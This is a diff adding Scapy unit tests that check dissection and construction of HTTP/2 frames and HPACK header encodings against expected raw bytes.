+= HTTP/2 HPackMagicBitField.addfield
+~ http2 hpack field hpackmagicbitfield
+
+f = h2.HPackMagicBitField('value', 3, 2)
+r = f.addfield(None, b'Toto', 3)
+assert(isinstance(r, tuple))
+assert(r[0] == b'Toto')
+assert(r[1] == 2)
+assert(r[2] == 3)
+
+r = f.addfield(None, (b'Toto', 2, 1) , 3)
+assert(isinstance(r, tuple))
+assert(r[0] == b'Toto')
+assert(r[1] == 4)
+assert(r[2] == 7)
+
+assert(expect_exception(AssertionError, 'f.addfield(None, "toto", 2)'))
+
+= HTTP/2 HPackMagicBitField.getfield
+~ http2 hpack field hpackmagicbitfield
+
+f = h2.HPackMagicBitField('value', 3, 2)
+
+r = f.getfield(None, b'\xc0')
+assert(isinstance(r, tuple))
+assert(len(r) == 2)
+assert(isinstance(r[0], tuple))
+assert(len(r[0]) == 2)
+assert(r[0][0] == b'\xc0')
+assert(r[0][1] == 2)
+assert(r[1] == 3)
+
+r = f.getfield(None, (b'\x03', 6))
+assert(isinstance(r, tuple))
+assert(len(r) == 2)
+assert(isinstance(r[0], bytes))
+assert(r[0] == b'')
+assert(r[1] == 3)
+
+expect_exception(AssertionError, 'f.getfield(None, b"\\x80")')
+
+= HTTP/2 HPackMagicBitField.h2i
+~ http2 hpack field hpackmagicbitfield
+
+f = h2.HPackMagicBitField('value', 3, 2)
+assert(f.h2i(None, 3) == 3)
+expect_exception(AssertionError, 'f.h2i(None, 2)')
+
+= HTTP/2 HPackMagicBitField.m2i
+~ http2 hpack field hpackmagicbitfield
+
+f = h2.HPackMagicBitField('value', 3, 2)
+assert(f.m2i(None, 3) == 3)
+expect_exception(AssertionError, 'f.m2i(None, 2)')
+
+= HTTP/2 HPackMagicBitField.i2m
+~ http2 hpack field hpackmagicbitfield
+
+f = h2.HPackMagicBitField('value', 3, 2)
+assert(f.i2m(None, 3) == 3)
+expect_exception(AssertionError, 'f.i2m(None, 2)')
+
+= HTTP/2 HPackMagicBitField.any2i
+~ http2 hpack field hpackmagicbitfield
+
+f = h2.HPackMagicBitField('value', 3, 2)
+assert(f.any2i(None, 3) == 3)
+expect_exception(AssertionError, 'f.any2i(None, 2)')
+
++ HTTP/2 HPackHdrString Test Suite
+
+= HTTP/2 Dissect HPackHdrString
+~ http2 pack dissect hpackhdrstring
+
+p = h2.HPackHdrString(b'\x04Test')
+assert(p.type == 0)
+assert(p.len == 4)
+assert(isinstance(p.getfieldval('data'), h2.HPackLiteralString))
+assert(p.getfieldval('data').origin() == 'Test')
+
+p = h2.HPackHdrString(b"\x83\xdeT'")
+assert(p.type == 1)
+assert(p.len == 3)
+assert(isinstance(p.getfieldval('data'), h2.HPackZString))
+assert(p.getfieldval('data').origin() == 'Test')
+
+= HTTP/2 Build HPackHdrString
+~ http2 hpack build hpackhdrstring
+
+p = h2.HPackHdrString(data=h2.HPackLiteralString('Test'))
+assert(raw(p) == b'\x04Test')
+
+p = h2.HPackHdrString(data=h2.HPackZString('Test'))
+assert(raw(p) == b"\x83\xdeT'")
+
+#Fuzzing-able tests
+p = h2.HPackHdrString(type=1, len=3, data=h2.HPackLiteralString('Test'))
+assert(raw(p) == b'\x83Test')
+
++ HTTP/2 HPackIndexedHdr Test Suite
+
+= HTTP/2 Dissect HPackIndexedHdr
+~ http2 hpack dissect hpackindexedhdr
+
+p = h2.HPackIndexedHdr(b'\x80')
+assert(p.magic == 1)
+assert(p.index == 0)
+
+p = h2.HPackIndexedHdr(b'\xFF\x00')
+assert(p.magic == 1)
+assert(p.index == 127)
+
+= HTTP/2 Build HPackIndexedHdr
+~ http2 hpack build hpackindexedhdr
+
+p = h2.HPackIndexedHdr(index=0)
+assert(raw(p) == b'\x80')
+
+p = h2.HPackIndexedHdr(index=127)
+assert(raw(p) == b'\xFF\x00')
+
++ HTTP/2 HPackLitHdrFldWithIncrIndexing Test Suite
+
+= HTTP/2 Dissect HPackLitHdrFldWithIncrIndexing without indexed name
+~ http2 hpack dissect hpacklithdrfldwithincrindexing
+
+p = h2.HPackLitHdrFldWithIncrIndexing(b'\x40\x04Test\x04Toto')
+assert(p.magic == 1)
+assert(p.index == 0)
+assert(isinstance(p.hdr_name, h2.HPackHdrString))
+assert(p.hdr_name.type == 0)
+assert(p.hdr_name.len == 4)
+assert(p.hdr_name.getfieldval('data').origin() == 'Test')
+assert(isinstance(p.hdr_value, h2.HPackHdrString))
+assert(p.hdr_value.type == 0)
+assert(p.hdr_value.len == 4)
+assert(p.hdr_value.getfieldval('data').origin() == 'Toto')
+
+= HTTP/2 Dissect HPackLitHdrFldWithIncrIndexing with indexed name
+~ http2 hpack dissect hpacklithdrfldwithincrindexing
+
+p = h2.HPackLitHdrFldWithIncrIndexing(b'\x41\x04Toto')
+assert(p.magic == 1)
+assert(p.index == 1)
+assert(p.hdr_name is None)
+assert(isinstance(p.hdr_value, h2.HPackHdrString))
+assert(p.hdr_value.type == 0)
+assert(p.hdr_value.len == 4)
+assert(p.hdr_value.getfieldval('data').origin() == 'Toto')
+
+
+= HTTP/2 Build HPackLitHdrFldWithIncrIndexing without indexed name
+~ http2 hpack build hpacklithdrfldwithincrindexing
+
+p = h2.HPackLitHdrFldWithIncrIndexing(
+    hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('Test')),
+    hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto'))
+)
+assert(raw(p) == b'\x40\x04Test\x04Toto')
+
+= HTTP/2 Build HPackLitHdrFldWithIncrIndexing with indexed name
+~ http2 hpack build hpacklithdrfldwithincrindexing
+
+p = h2.HPackLitHdrFldWithIncrIndexing(
+    index=1,
+    hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto'))
+)
+assert(raw(p) == b'\x41\x04Toto')
+
++ HTTP/2 HPackLitHdrFldWithoutIndexing Test Suite
+
+= HTTP/2 Dissect HPackLitHdrFldWithoutIndexing : don't index and no index
+~ http2 hpack dissect hpacklithdrfldwithoutindexing
+
+p = h2.HPackLitHdrFldWithoutIndexing(b'\x00\x04Test\x04Toto')
+assert(p.magic == 0)
+assert(p.never_index == 0)
+assert(p.index == 0)
+assert(isinstance(p.hdr_name, h2.HPackHdrString))
+assert(p.hdr_name.type == 0)
+assert(p.hdr_name.len == 4)
+assert(isinstance(p.hdr_name.getfieldval('data'), h2.HPackLiteralString))
+assert(p.hdr_name.getfieldval('data').origin() == 'Test')
+assert(isinstance(p.hdr_value, h2.HPackHdrString))
+assert(p.hdr_value.type == 0)
+assert(p.hdr_value.len == 4)
+assert(isinstance(p.hdr_value.getfieldval('data'), h2.HPackLiteralString))
+assert(p.hdr_value.getfieldval('data').origin() == 'Toto')
+
+= HTTP/2 Dissect HPackLitHdrFldWithoutIndexing : never index index and no index
+~ http2 hpack dissect hpacklithdrfldwithoutindexing
+
+p = h2.HPackLitHdrFldWithoutIndexing(b'\x10\x04Test\x04Toto')
+assert(p.magic == 0)
+assert(p.never_index == 1)
+assert(p.index == 0)
+assert(isinstance(p.hdr_name, h2.HPackHdrString))
+assert(p.hdr_name.type == 0)
+assert(p.hdr_name.len == 4)
+assert(isinstance(p.hdr_name.getfieldval('data'), h2.HPackLiteralString))
+assert(p.hdr_name.getfieldval('data').origin() == 'Test')
+assert(isinstance(p.hdr_value, h2.HPackHdrString))
+assert(p.hdr_value.type == 0)
+assert(p.hdr_value.len == 4)
+assert(isinstance(p.hdr_value.getfieldval('data'), h2.HPackLiteralString))
+assert(p.hdr_value.getfieldval('data').origin() == 'Toto')
+
+= HTTP/2 Dissect HPackLitHdrFldWithoutIndexing : never index and indexed name
+~ http2 hpack dissect hpacklithdrfldwithoutindexing
+
+p = h2.HPackLitHdrFldWithoutIndexing(b'\x11\x04Toto')
+assert(p.magic == 0)
+assert(p.never_index == 1)
+assert(p.index == 1)
+assert(p.hdr_name is None)
+assert(isinstance(p.hdr_value, h2.HPackHdrString))
+assert(p.hdr_value.type == 0)
+assert(p.hdr_value.len == 4)
+assert(isinstance(p.hdr_value.getfieldval('data'), h2.HPackLiteralString))
+assert(p.hdr_value.getfieldval('data').origin() == 'Toto')
+
+= HTTP/2 Build HPackLitHdrFldWithoutIndexing : don't index and no index
+~ http2 hpack build hpacklithdrfldwithoutindexing
+
+p = h2.HPackLitHdrFldWithoutIndexing(
+    hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('Test')),
+    hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto'))
+)
+assert(raw(p) == b'\x00\x04Test\x04Toto')
+
+= HTTP/2 Build HPackLitHdrFldWithoutIndexing : never index index and no index
+~ http2 hpack build hpacklithdrfldwithoutindexing
+
+p = h2.HPackLitHdrFldWithoutIndexing(
+    never_index=1,
+    hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('Test')),
+    hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto'))
+)
+assert(raw(p) == b'\x10\x04Test\x04Toto')
+
+= HTTP/2 Build HPackLitHdrFldWithoutIndexing : never index and indexed name
+~ http2 hpack build hpacklithdrfldwithoutindexing
+
+p = h2.HPackLitHdrFldWithoutIndexing(
+    never_index=1,
+    index=1,
+    hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString(b'Toto'))
+)
+assert(raw(p) == b'\x11\x04Toto')
+
++ HTTP/2 HPackDynamicSizeUpdate Test Suite
+
+= HTTP/2 Dissect HPackDynamicSizeUpdate
+~ http2 hpack dissect hpackdynamicsizeupdate
+
+p = h2.HPackDynamicSizeUpdate(b'\x25')
+assert(p.magic == 1)
+assert(p.max_size == 5)
+p = h2.HPackDynamicSizeUpdate(b'\x3F\x00')
+assert(p.magic == 1)
+assert(p.max_size == 31)
+
+= HTTP/2 Build HPackDynamicSizeUpdate
+~ http2 hpack build hpackdynamicsizeupdate
+
+p = h2.HPackDynamicSizeUpdate(max_size=5)
+assert(raw(p) == b'\x25')
+p = h2.HPackDynamicSizeUpdate(max_size=31)
+assert(raw(p) == b'\x3F\x00')
+
++ HTTP/2 Data Frame Test Suite
+
+= HTTP/2 Dissect Data Frame: Simple data frame
+~ http2 frame dissect data
+
+pkt = h2.H2Frame(b'\x00\x00\x04\x00\x00\x00\x00\x00\x01ABCD')
+assert(pkt.type == 0)
+assert(pkt.len == 4)
+assert(len(pkt.flags) == 0)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 1)
+assert(isinstance(pkt.payload, h2.H2DataFrame))
+assert(pkt[h2.H2DataFrame])
+assert(pkt.payload.data == b'ABCD')
+assert(isinstance(pkt.payload.payload, scapy.packet.NoPayload))
+
+= HTTP/2 Build Data Frame: Simple data frame
+~ http2 frame build data
+
+pkt = h2.H2Frame(stream_id = 1)/h2.H2DataFrame(data='ABCD')
+assert(raw(pkt) == b'\x00\x00\x04\x00\x00\x00\x00\x00\x01ABCD')
+try:
+    pkt.show2(dump=True)
+    assert(True)
+except:
+    assert(False)
+
+= HTTP/2 Dissect Data Frame: Simple data frame with padding
+~ http2 frame dissect data
+
+pkt = h2.H2Frame(b'\x00\x00\r\x00\x08\x00\x00\x00\x01\x08ABCD\x00\x00\x00\x00\x00\x00\x00\x00') #Padded data frame
+assert(pkt.type == 0)
+assert(pkt.len == 13)
+assert(len(pkt.flags) ==  1)
+assert('P' in pkt.flags)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 1)
+assert(isinstance(pkt.payload, h2.H2PaddedDataFrame))
+assert(pkt[h2.H2PaddedDataFrame])
+assert(pkt.payload.padlen == 8)
+assert(pkt.payload.data == b'ABCD')
+assert(pkt.payload.padding == b'\x00'*8)
+assert(flags_bit_pattern.search(pkt.show(dump=True)) is None)
+assert(isinstance(pkt.payload.payload, scapy.packet.NoPayload))
+
+= HTTP/2 Build Data Frame: Simple data frame with padding
+~ http2 frame build data
+
+pkt = h2.H2Frame(flags = {'P'}, stream_id = 1)/h2.H2PaddedDataFrame(data='ABCD', padding=b'\x00'*8)
+assert(raw(pkt) == b'\x00\x00\r\x00\x08\x00\x00\x00\x01\x08ABCD\x00\x00\x00\x00\x00\x00\x00\x00')
+try:
+    pkt.show2(dump=True)
+    assert(True)
+except:
+    assert(False)
+
+= HTTP/2 Dissect Data Frame: Simple data frame with padding and end stream flag
+~ http2 frame dissect data
+
+pkt = h2.H2Frame(b'\x00\x00\r\x00\t\x00\x00\x00\x01\x08ABCD\x00\x00\x00\x00\x00\x00\x00\x00') #Padded data frame with end stream flag
+assert(pkt.type == 0)
+assert(pkt.len == 13)
+assert(len(pkt.flags) == 2)
+assert('P' in pkt.flags)
+assert('ES' in pkt.flags)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 1)
+assert(isinstance(pkt.payload, h2.H2PaddedDataFrame))
+assert(pkt[h2.H2PaddedDataFrame])
+assert(pkt.payload.padlen == 8)
+assert(pkt.payload.data == b'ABCD')
+assert(pkt.payload.padding == b'\x00'*8)
+assert(flags_bit_pattern.search(pkt.show(dump=True)) is None)
+assert(isinstance(pkt.payload.payload, scapy.packet.NoPayload))
+
+= HTTP/2 Build Data Frame: Simple data frame with padding and end stream flag
+~ http2 frame build data
+
+pkt = h2.H2Frame(flags = {'P', 'ES'}, stream_id=1)/h2.H2PaddedDataFrame(data='ABCD', padding=b'\x00'*8)
+assert(raw(pkt) == b'\x00\x00\r\x00\t\x00\x00\x00\x01\x08ABCD\x00\x00\x00\x00\x00\x00\x00\x00')
+try:
+    pkt.show2(dump=True)
+    assert(True)
+except:
+    assert(False)
+
++ HTTP/2 Headers Frame Test Suite
+
+= HTTP/2 Dissect Headers Frame: Simple header frame
+~ http2 frame dissect headers
+
+pkt = h2.H2Frame(b'\x00\x00\x0e\x01\x00\x00\x00\x00\x01\x88\x0f\x10\ntext/plain') #Header frame
+assert(pkt.type == 1)
+assert(pkt.len == 14)
+assert(len(pkt.flags) == 0)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 1)
+assert(isinstance(pkt.payload, h2.H2HeadersFrame))
+assert(pkt[h2.H2HeadersFrame])
+hf = pkt[h2.H2HeadersFrame]
+assert(len(hf.hdrs) == 2)
+assert(isinstance(hf.hdrs[0], h2.HPackIndexedHdr))
+assert(hf.hdrs[0].magic == 1)
+assert(hf.hdrs[0].index == 8)
+assert(isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing))
+assert(hf.hdrs[1].magic == 0)
+assert(hf.hdrs[1].never_index == 0)
+assert(hf.hdrs[1].index == 31)
+assert(hf.hdrs[1].hdr_name is None)
+assert(expect_exception(AttributeError, 'hf.hdrs[1].non_existant'))
+assert(isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString))
+s = hf.hdrs[1].hdr_value
+assert(s.type == 0)
+assert(s.len == 10)
+assert(s.getfieldval('data').origin() == 'text/plain')
+assert(isinstance(hf.payload, scapy.packet.NoPayload))
+
+= HTTP/2 Build Headers Frame: Simple header frame
+~ http2 frame build headers
+
+p = h2.H2Frame(stream_id=1)/h2.H2HeadersFrame(hdrs=[
+        h2.HPackIndexedHdr(index=8),
+        h2.HPackLitHdrFldWithoutIndexing(
+            index=31,
+            hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain'))
+        )
+    ]
+)
+assert(raw(p) == b'\x00\x00\x0e\x01\x00\x00\x00\x00\x01\x88\x0f\x10\ntext/plain')
+
+= HTTP/2 Dissect Headers Frame: Header frame with padding
+~ http2 frame dissect headers
+
+pkt = h2.H2Frame(b'\x00\x00\x17\x01\x08\x00\x00\x00\x01\x08\x88\x0f\x10\ntext/plain\x00\x00\x00\x00\x00\x00\x00\x00') #Header frame with padding
+assert(pkt.type == 1)
+assert(pkt.len == 23)
+assert(len(pkt.flags) == 1)
+assert('P' in pkt.flags)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 1)
+assert(isinstance(pkt.payload, h2.H2PaddedHeadersFrame))
+assert(flags_bit_pattern.search(pkt.show(dump=True)) is None)
+assert(pkt[h2.H2PaddedHeadersFrame])
+hf = pkt[h2.H2PaddedHeadersFrame]
+assert(hf.padlen == 8)
+assert(hf.padding == b'\x00' * 8)
+assert(len(hf.hdrs) == 2)
+assert(isinstance(hf.hdrs[0], h2.HPackIndexedHdr))
+assert(hf.hdrs[0].magic == 1)
+assert(hf.hdrs[0].index == 8)
+assert(isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing))
+assert(hf.hdrs[1].magic == 0)
+assert(hf.hdrs[1].never_index == 0)
+assert(hf.hdrs[1].index == 31)
+assert(hf.hdrs[1].hdr_name is None)
+assert(expect_exception(AttributeError, 'hf.hdrs[1].non_existant'))
+assert(isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString))
+s = hf.hdrs[1].hdr_value
+assert(s.type == 0)
+assert(s.len == 10)
+assert(s.getfieldval('data').origin() == 'text/plain')
+assert(isinstance(hf.payload, scapy.packet.NoPayload))
+
+= HTTP/2 Build Headers Frame: Header frame with padding
+~ http2 frame build headers
+
+p = h2.H2Frame(flags={'P'}, stream_id=1)/h2.H2PaddedHeadersFrame(
+    hdrs=[
+        h2.HPackIndexedHdr(index=8),
+        h2.HPackLitHdrFldWithoutIndexing(
+            index=31,
+            hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain'))
+        )
+    ],
+    padding=b'\x00'*8,
+)
+assert(raw(p) == b'\x00\x00\x17\x01\x08\x00\x00\x00\x01\x08\x88\x0f\x10\ntext/plain\x00\x00\x00\x00\x00\x00\x00\x00')
+
+= HTTP/2 Dissect Headers Frame: Header frame with priority
+~ http2 frame dissect headers
+
+pkt = h2.H2Frame(b'\x00\x00\x13\x01 \x00\x00\x00\x01\x00\x00\x00\x02d\x88\x0f\x10\ntext/plain') #Header frame with priority
+assert(pkt.type == 1)
+assert(pkt.len == 19)
+assert(len(pkt.flags) == 1)
+assert('+' in pkt.flags)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 1)
+assert(isinstance(pkt.payload, h2.H2PriorityHeadersFrame))
+assert(flags_bit_pattern.search(pkt.show(dump=True)) is None)
+assert(pkt[h2.H2PriorityHeadersFrame])
+hf = pkt[h2.H2PriorityHeadersFrame]
+assert(hf.exclusive == 0)
+assert(hf.stream_dependency == 2)
+assert(hf.weight == 100)
+assert(len(hf.hdrs) == 2)
+assert(isinstance(hf.hdrs[0], h2.HPackIndexedHdr))
+assert(hf.hdrs[0].magic == 1)
+assert(hf.hdrs[0].index == 8)
+assert(isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing))
+assert(hf.hdrs[1].magic == 0)
+assert(hf.hdrs[1].never_index == 0)
+assert(hf.hdrs[1].index == 31)
+assert(hf.hdrs[1].hdr_name is None)
+assert(expect_exception(AttributeError, 'hf.hdrs[1].non_existant'))
+assert(isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString))
+s = hf.hdrs[1].hdr_value
+assert(s.type == 0)
+assert(s.len == 10)
+assert(s.getfieldval('data').origin() == 'text/plain')
+assert(isinstance(hf.payload, scapy.packet.NoPayload))
+
+= HTTP/2 Build Headers Frame: Header frame with priority
+~ http2 frame build headers
+
+p = h2.H2Frame(flags={'+'}, stream_id=1)/h2.H2PriorityHeadersFrame(
+    exclusive=0,
+    stream_dependency=2,
+    weight=100,
+    hdrs=[
+        h2.HPackIndexedHdr(index=8),
+        h2.HPackLitHdrFldWithoutIndexing(
+            index=31,
+            hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain'))
+        )
+    ]
+)
+assert(raw(p) == b'\x00\x00\x13\x01 \x00\x00\x00\x01\x00\x00\x00\x02d\x88\x0f\x10\ntext/plain')
+
+= HTTP/2 Dissect Headers Frame: Header frame with priority and padding and flags
+~ http2 frame dissect headers
+
+pkt = h2.H2Frame(b'\x00\x00\x1c\x01-\x00\x00\x00\x01\x08\x00\x00\x00\x02d\x88\x0f\x10\ntext/plain\x00\x00\x00\x00\x00\x00\x00\x00') #Header frame with priority and padding and flags ES|EH
+assert(pkt.type == 1)
+assert(pkt.len == 28)
+assert(len(pkt.flags) == 4)
+assert('+' in pkt.flags)
+assert('P' in pkt.flags)
+assert('ES' in pkt.flags)
+assert('EH' in pkt.flags)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 1)
+assert(isinstance(pkt.payload, h2.H2PaddedPriorityHeadersFrame))
+assert(flags_bit_pattern.search(pkt.show(dump=True)) is None)
+assert(pkt[h2.H2PaddedPriorityHeadersFrame])
+hf = pkt[h2.H2PaddedPriorityHeadersFrame]
+assert(hf.padlen == 8)
+assert(hf.padding == b'\x00' * 8)
+assert(hf.exclusive == 0)
+assert(hf.stream_dependency == 2)
+assert(hf.weight == 100)
+assert(len(hf.hdrs) == 2)
+assert(isinstance(hf.hdrs[0], h2.HPackIndexedHdr))
+assert(hf.hdrs[0].magic == 1)
+assert(hf.hdrs[0].index == 8)
+assert(isinstance(hf.hdrs[1], h2.HPackLitHdrFldWithoutIndexing))
+assert(hf.hdrs[1].magic == 0)
+assert(hf.hdrs[1].never_index == 0)
+assert(hf.hdrs[1].index == 31)
+assert(hf.hdrs[1].hdr_name is None)
+assert(expect_exception(AttributeError, 'hf.hdrs[1].non_existant'))
+assert(isinstance(hf.hdrs[1].hdr_value, h2.HPackHdrString))
+s = hf.hdrs[1].hdr_value
+assert(s.type == 0)
+assert(s.len == 10)
+assert(s.getfieldval('data').origin() == 'text/plain')
+assert(isinstance(hf.payload, scapy.packet.NoPayload))
+
+= HTTP/2 Build Headers Frame: Header frame with priority and padding and flags
+~ http2 frame build headers
+
+p = h2.H2Frame(flags={'P', '+', 'ES', 'EH'}, stream_id=1)/h2.H2PaddedPriorityHeadersFrame(
+    exclusive=0,
+    stream_dependency=2,
+    weight=100,
+    padding=b'\x00'*8,
+    hdrs=[
+        h2.HPackIndexedHdr(index=8),
+        h2.HPackLitHdrFldWithoutIndexing(
+            index=31,
+            hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('text/plain'))
+        )
+    ]
+)
+
++ HTTP/2 Priority Frame Test Suite
+
+= HTTP/2 Dissect Priority Frame
+~ http2 frame dissect priority
+
+pkt = h2.H2Frame(b'\x00\x00\x05\x02\x00\x00\x00\x00\x03\x80\x00\x00\x01d')
+assert(pkt.type == 2)
+assert(pkt.len == 5)
+assert(len(pkt.flags) == 0)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 3)
+assert(isinstance(pkt.payload, h2.H2PriorityFrame))
+assert(pkt[h2.H2PriorityFrame])
+pp = pkt[h2.H2PriorityFrame]
+assert(pp.stream_dependency == 1)
+assert(pp.exclusive == 1)
+assert(pp.weight == 100)
+
+= HTTP/2 Build Priority Frame
+~ http2 frame build priority
+
+p = h2.H2Frame(stream_id=3)/h2.H2PriorityFrame(
+    exclusive=1,
+    stream_dependency=1,
+    weight=100
+)
+assert(raw(p) == b'\x00\x00\x05\x02\x00\x00\x00\x00\x03\x80\x00\x00\x01d')
+
++ HTTP/2 Reset Stream Frame Test Suite
+
+= HTTP/2 Dissect Reset Stream Frame: Protocol Error
+~ http2 frame dissect rststream
+
+pkt = h2.H2Frame(b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x00\x00\x01') #Reset stream with protocol error
+assert(pkt.type == 3)
+assert(pkt.len == 4)
+assert(len(pkt.flags) == 0)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 1)
+assert(isinstance(pkt.payload, h2.H2ResetFrame))
+assert(pkt[h2.H2ResetFrame])
+rf = pkt[h2.H2ResetFrame]
+assert(rf.error == 1)
+assert(isinstance(rf.payload, scapy.packet.NoPayload))
+
+= HTTP/2 Build Reset Stream Frame: Protocol Error
+~ http2 frame build rststream
+
+p = h2.H2Frame(stream_id=1)/h2.H2ResetFrame(error='Protocol error')
+assert(raw(p) == b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x00\x00\x01')
+
+p = h2.H2Frame(stream_id=1)/h2.H2ResetFrame(error=1)
+assert(raw(p) == b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x00\x00\x01')
+
+= HTTP/2 Dissect Reset Stream Frame: Raw 123456 error
+~ http2 frame dissect rststream
+
+pkt = h2.H2Frame(b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x01\xe2@') #Reset stream with raw error
+assert(pkt.type == 3)
+assert(pkt.len == 4)
+assert(len(pkt.flags) == 0)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 1)
+assert(isinstance(pkt.payload, h2.H2ResetFrame))
+assert(pkt[h2.H2ResetFrame])
+rf = pkt[h2.H2ResetFrame]
+assert(rf.error == 123456)
+assert(isinstance(rf.payload, scapy.packet.NoPayload))
+
+= HTTP/2 Dissect Reset Stream Frame: Raw 123456 error
+~ http2 frame dissect rststream
+
+p = h2.H2Frame(stream_id=1)/h2.H2ResetFrame(error=123456)
+assert(raw(p) == b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x01\xe2@')
+
++ HTTP/2 Settings Frame Test Suite
+
+= HTTP/2 Dissect Settings Frame: Settings Frame
+~ http2 frame dissect settings
+
+pkt = h2.H2Frame(b'\x00\x00$\x04\x00\x00\x00\x00\x00\x00\x01\x07[\xcd\x15\x00\x02\x00\x00\x00\x01\x00\x03\x00\x00\x00{\x00\x04\x00\x12\xd6\x87\x00\x05\x00\x01\xe2@\x00\x06\x00\x00\x00{') #Settings frame
+assert(pkt.type == 4)
+assert(pkt.len == 36)
+assert(len(pkt.flags) == 0)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 0)
+assert(isinstance(pkt.payload, h2.H2SettingsFrame))
+assert(pkt[h2.H2SettingsFrame])
+sf = pkt[h2.H2SettingsFrame]
+assert(len(sf.settings) == 6)
+assert(isinstance(sf.settings[0], h2.H2Setting))
+assert(sf.settings[0].id == 1)
+assert(sf.settings[0].value == 123456789)
+assert(isinstance(sf.settings[1], h2.H2Setting))
+assert(sf.settings[1].id == 2)
+assert(sf.settings[1].value == 1)
+assert(isinstance(sf.settings[2], h2.H2Setting))
+assert(sf.settings[2].id == 3)
+assert(sf.settings[2].value == 123)
+assert(isinstance(sf.settings[3], h2.H2Setting))
+assert(sf.settings[3].id == 4)
+assert(sf.settings[3].value == 1234567)
+assert(isinstance(sf.settings[4], h2.H2Setting))
+assert(sf.settings[4].id == 5)
+assert(sf.settings[4].value == 123456)
+assert(isinstance(sf.settings[5], h2.H2Setting))
+assert(sf.settings[5].id == 6)
+assert(sf.settings[5].value == 123)
+assert(isinstance(sf.payload, scapy.packet.NoPayload))
+
+= HTTP/2 Build Settings Frame: Settings Frame
+~ http2 frame build settings
+
+p = h2.H2Frame()/h2.H2SettingsFrame(settings=[
+        h2.H2Setting(id='Header table size',value=123456789),
+        h2.H2Setting(id='Enable push', value=1),
+        h2.H2Setting(id='Max concurrent streams', value=123),
+        h2.H2Setting(id='Initial window size', value=1234567),
+        h2.H2Setting(id='Max frame size', value=123456),
+        h2.H2Setting(id='Max header list size', value=123)
+    ]
+)
+assert(raw(p) == b'\x00\x00$\x04\x00\x00\x00\x00\x00\x00\x01\x07[\xcd\x15\x00\x02\x00\x00\x00\x01\x00\x03\x00\x00\x00{\x00\x04\x00\x12\xd6\x87\x00\x05\x00\x01\xe2@\x00\x06\x00\x00\x00{')
+
+= HTTP/2 Dissect Settings Frame: Incomplete Settings Frame
+~ http2 frame dissect settings
+
+#We use here the decode('hex') method because null-bytes are rejected by eval()
+assert(expect_exception(AssertionError, 'h2.H2Frame(bytes_hex("0000240400000000000001075bcd1500020000000100030000007b00040012d68700050001e2400006000000"))'))
+
+= HTTP/2 Dissect Settings Frame: Settings Frame acknowledgement
+~ http2 frame dissect settings
+
+pkt = h2.H2Frame(b'\x00\x00\x00\x04\x01\x00\x00\x00\x00') #Settings frame w/ ack flag
+assert(pkt.type == 4)
+assert(pkt.len == 0)
+assert(len(pkt.flags) == 1)
+assert('A' in pkt.flags)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 0)
+assert(flags_bit_pattern.search(pkt.show(dump=True)) is None)
+assert(isinstance(pkt.payload, scapy.packet.NoPayload))
+
+= HTTP/2 Build Settings Frame: Settings Frame acknowledgement
+~ http2 frame build settings
+
+p = h2.H2Frame(type=h2.H2SettingsFrame.type_id, flags={'A'})
+assert(raw(p) == b'\x00\x00\x00\x04\x01\x00\x00\x00\x00')
+
++ HTTP/2 Push Promise Frame Test Suite
+
+= HTTP/2 Dissect Push Promise Frame: no flag & headers with compression and hdr_name
+~ http2 frame dissect pushpromise
+
+pkt = h2.H2Frame(b'\x00\x00\x15\x05\x00\x00\x00\x00\x01\x00\x00\x00\x03@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me')
+assert(pkt.type == 5)
+assert(pkt.len == 21)
+assert(len(pkt.flags) == 0)
+assert(pkt.reserved == 0)
+assert(pkt.stream_id == 1)
+assert(isinstance(pkt.payload, h2.H2PushPromiseFrame))
+assert(pkt[h2.H2PushPromiseFrame])
+pf = pkt[h2.H2PushPromiseFrame]
+assert(pf.reserved == 0)
+assert(pf.stream_id == 3)
+assert(len(pf.hdrs) == 1)
+assert(isinstance(pf.payload, scapy.packet.NoPayload))
+hdr = pf.hdrs[0]
+assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing))
+assert(hdr.magic == 1)
+assert(hdr.index == 0)
+assert(isinstance(hdr.hdr_name, h2.HPackHdrString))
+assert(hdr.hdr_name.type == 1)
+assert(hdr.hdr_name.len == 12)
+assert(hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With')
+assert(isinstance(hdr.hdr_value, h2.HPackHdrString))
+assert(hdr.hdr_value.type == 0)
+assert(hdr.hdr_value.len == 2)
+assert(hdr.hdr_value.getfieldval('data').origin() == 'Me')
+
